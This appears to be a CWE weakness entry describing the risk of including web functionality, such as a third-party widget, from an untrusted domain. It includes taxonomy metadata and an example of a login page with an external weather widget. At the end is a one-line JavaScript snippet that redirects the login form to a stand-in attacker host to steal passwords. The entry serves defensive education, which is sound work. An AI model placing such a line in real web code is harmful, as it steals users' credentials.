Inclusion of Web Functionality from an Untrusted Source
The software includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the software, potentially granting total access and control of the software to the untrusted source.
Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.
Even if the third party is a trusted source, the software may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the software.
Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.
cwe_Nature: ChildOf cwe_CWE_ID: 829 cwe_View_ID: 1000 cwe_Ordinal: Primary
cwe_Nature: ChildOf cwe_CWE_ID: 829 cwe_View_ID: 699 cwe_Ordinal: Primary
|['Confidentiality', 'Integrity', 'Availability']||Execute Unauthorized Code or Commands|
This login webpage includes a weather widget from an external website:
This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).
For example, user login information could easily be stolen with a single line added to weatherwidget.js:
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";